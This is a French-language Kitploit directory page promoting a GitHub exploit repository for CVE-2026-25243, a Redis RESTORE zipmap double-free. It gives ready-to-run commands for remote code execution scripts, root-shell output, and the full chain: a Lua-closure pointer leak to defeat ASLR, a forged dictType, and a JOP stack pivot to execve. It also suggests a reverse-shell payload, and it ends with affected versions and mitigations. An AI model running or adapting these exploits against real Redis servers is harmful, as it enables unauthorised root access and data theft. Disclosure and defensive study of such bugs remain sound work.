Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé). | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-25243
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé).

Voir le dépôt
13il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25243 — double-free zipmap de Redis RESTORE → exécution de code à distance

TL;DR. Une charge utile DUMP malformée passée à RESTORE déclenche un double-free du tas dans le chargeur hérité hash-zipmap de Redis. Avec le jemalloc par défaut, le double-free est silencieux (le serveur continue de tourner), ce qui en fait une primitive de type confusion contrôlable. Ce dépôt enchaîne cela en exécution de code à distance avec ASLR activé — le worker Redis appelle system("<chaîne de l'attaquant>") et continue à servir. Pas un DoS.

root@kitploit:~
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

La fuite qui neutralise l'ASLR n'utilise pas DEBUG — elle lit l'adresse de la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)'), la même technique autonome et sans DEBUG que notre exploit Redis précédent. blob_base/blob_robj et la base PIE sont ensuite dérivés à l'exécution à partir de la lecture hors limites (aucun décalage fixe). La fin en PIE-ROP appelle execve@plt via un stack-pivot JOP, elle n'utilise donc aucune adresse libc — les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE lus depuis le binaire redis-server, exactement comme la table de gadgets par compilation de notre précédent exploit HLL. Vérifié uid=0(root), ASLR activé, 8/8, sur un serveur par défaut avec DEBUG désactivé.

Deux finalisations sont fournies. poc_rce_aslr_pie_rop.py (ci-dessus) est la plus autonome — pas de libc, entièrement auto-calibrée — mais execve remplace le worker (utilisez un --cmd de reverse-shell ; idéal pour un vrai shell). poc_rce_aslr_selfcal.py garde le worker vivant (system() fork) au prix de deux décalages de version de libc. Choisissez selon que vous avez besoin que le serveur survive.


Le bug

RESTORE key 0 <DUMP-payload> désérialise un objet sérialisé. Pour le type hérité RDB_TYPE_HASH_ZIPMAP (0x09), le validateur et le convertisseur ne sont pas d'accord sur le nombre d'octets qu'occupe un champ de longueur :

  • zipmapValidateIntegrity() parcourt avec la taille réellement encodée (5 pour le préfixe surdimensionné 0xFE) ;
  • zipmapNext() lors de la conversion zipmap → listpack utilise 1 octet pour toute longueur décodée < 254.

Une petite longueur écrite sous la forme surdimensionnée de 5 octets passe la validation mais fait se décaler zipmapNext() de 4 octets. Deux conséquences découlent du même mauvais décalage : une lecture hors limites du tas (zipmap.c) et, uniquement dans Redis, un double-free du tas dans le chargeur hash-zipmap de rdb.c :

root@kitploit:~
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

Valkey protège cela (if (!field_added) sdsfree(field)) ; Redis en amont ne le faisait pas, donc le double-free est exclusif à Redis. Le correctif rejette la courte longueur encodée de façon surdimensionnée et réordonne les vérifications au moment du chargement.

La chaîne d'exploitation (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

root@kitploit:~
silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

Le dictType factice est planté dans une chaîne de 16 Mo (SETRANGE) au seul décalage dont les octets de poids faible de l'adresse correspondent à l'en-tête sds de la chaîne de l'attaquant. L'ASLR est vaincu entièrement à l'exécution :

  • system — une seule fuite de pointeur tas. Le chemin recommandé est sans DEBUG : l'adresse de la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)') — la même fuite autonome qu'utilise notre précédent exploit Redis. Les arènes jemalloc se trouvent à un décalage constant de libc, donc system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT n'est qu'une commodité de laboratoire quand le scripting est désactivé mais que DEBUG est activé — la configuration plus rare.)
  • l'adresse du blob de 16 Mo (un mmap randomisé indépendamment) — lue avec la lecture arbitraire du bug lui-même : forgez le dict d'un SET pour que son membre soit une sds SDS_TYPE_32 de 107 Ko, SMEMBERS fait une lecture hors limites du tas adjacent, et le robj.ptr du blob est lu à son décalage connu.

Voir WRITEUP.md pour l'analyse complète primitive par primitive et les détails jemalloc / Redis-8.x durement acquis (frontière de la classe 64, marquage des entrées de dict, mstr des champs de hachage, pré-croissance du keyspace).

Lab

root@kitploit:~
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"

La fuite qui neutralise l'ASLR (sans DEBUG)

La fuite de pointeur tas d'amorçage suit la même approche que notre précédent exploit Redis : fuiter l' adresse de la fermeture C de Lua redis.call avec EVAL 'return tostring(redis.call)'. Le scripting Lua est activé par défaut ; DEBUG est désactivé par défaut (enable-debug-command no) — la fuite Lua est donc la voie réaliste principale, et DEBUG OBJECT (poc_rce_aslr.py) n'est qu'une commodité de laboratoire. poc_rce_aslr_selfcal.py dérive ensuite blob_base et blob_robj à l'exécution à partir de la lecture hors limites (recherche de la signature du robj du blob de 16 Mo), donc DLUA/DFOBJ n'ont besoin d'être que proches.

Pour la finalisation system, la lecture hors limites du petit tas ne contient aucun pointeur libc, donc libc ne peut pas être auto-dérivé — poc_rce_aslr_selfcal.py conserve deux décalages de version de libc (DLIBC, SYSTEM_OFF). La finalisation poc_rce_aslr_pie_rop.py supprime entièrement cette dépendance : la même lecture hors limites contient bien des pointeurs PIE (un dictType partagé apparaît à plusieurs reprises), donc la base PIE est auto-calibrée comme most-common-PIE-value − DICTTYPE_OFF, et la chaîne se termine en execve@plt via un stack-pivot JOP (mov rbp,rdi; call *0x8(rax) → leave;ret fait pivoter rsp sur le champ HGET contrôlé par l'attaquant, qui est la chaîne ROP execve("/bin/sh","-c",<cmd>)). Les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE lus depuis — extrayez-les par cible avec /, exactement comme notre précédent exploit HLL associe une table de gadgets à chaque Build-ID ELF. Aucune adresse libc n'est utilisée.

Captures d'écran

screenshots/05-pie-rop-libc-free.png (l'auto-calibrage NO libc + uid=0, la démonstration la plus autonome), 01-rce-aslr-on.png (la capture clé uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (le code), et 04-debug-free-selfcal.png (l'exécution system sans DEBUG et auto-calibrée sur un Redis par défaut).

Impact et versions concernées

  • À distance, sans privilège particulier. RESTORE est une commande ordinaire — sur un Redis non authentifié/exposé (sans requirepass), tout client connecté peut l'exécuter ; sur une instance authentifiée, tout utilisateur sans un refus ACL -restore peut le faire. Même profil d'accès que les commandes de structures de données utilisées par d'autres RCE Redis.
  • Confirmé : double-free silencieux du tas, type confusion, lecture arbitraire de la mémoire du processus (fuite d'informations qui exfiltre clés/secrets/pointeurs), et exécution de code à distance (ce dépôt).
  • Affecté : Redis < {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — c.-à-d. 6.2.x jusqu'aux 8.x actuelles ; Valkey n'est concerné que par le DoS/la lecture hors limites (sa protection field_added bloque le double-free).

Atténuation

Mettez à niveau vers une version corrigée. Si vous ne le pouvez pas : restreignez RESTORE (ACL … -restore), n'exposez jamais Redis sans authentification, et désactivez DEBUG.


Recherche de sécurité autorisée, publiée pour la sensibilisation des défenseurs. Ne lancez pas cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Télécharger l’outil
fichierce qu'il démontre
★ exploits/poc_rce_aslr_pie_rop.pyla plus autonome — RCE sur un Redis par DÉFAUT (DEBUG désactivé), AUCUN décalage libc ; auto-calibre blob_base/blob_robj/pie_base ; execve@plt via pivot JOP (le worker est remplacé). 8/8.
★ exploits/poc_rce_aslr_selfcal.pysurvit au worker — même chaîne mais hashFunction=&system (fork) ; coûte deux décalages de version libc (DLIBC/SYSTEM_OFF). Fuite de fermeture Lua, auto-calibrage de blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pysans DEBUG (fuite Lua), mais avec des décalages fixes (calibrés avec DEBUG activé)
exploits/poc_rce_aslr.pyvariante de commodité laboratoire : fuite d'amorçage DEBUG OBJECT (nécessite DEBUG activé)
exploits/poc_rce_aslr_off.pyRCE avec ASLR désactivé (adresses calibrées)
exploits/poc_typeconfusion.pydouble-free → deux clés partagent un même tampon du tas (sans outillage)
exploits/poc_doublefree.pyle double-free (ASan : heap-use-after-free dans sdsfree)
exploits/poc_dos_overread.pyle crash de lecture hors limites (ASan)
redis-server
ROPgadget
objdump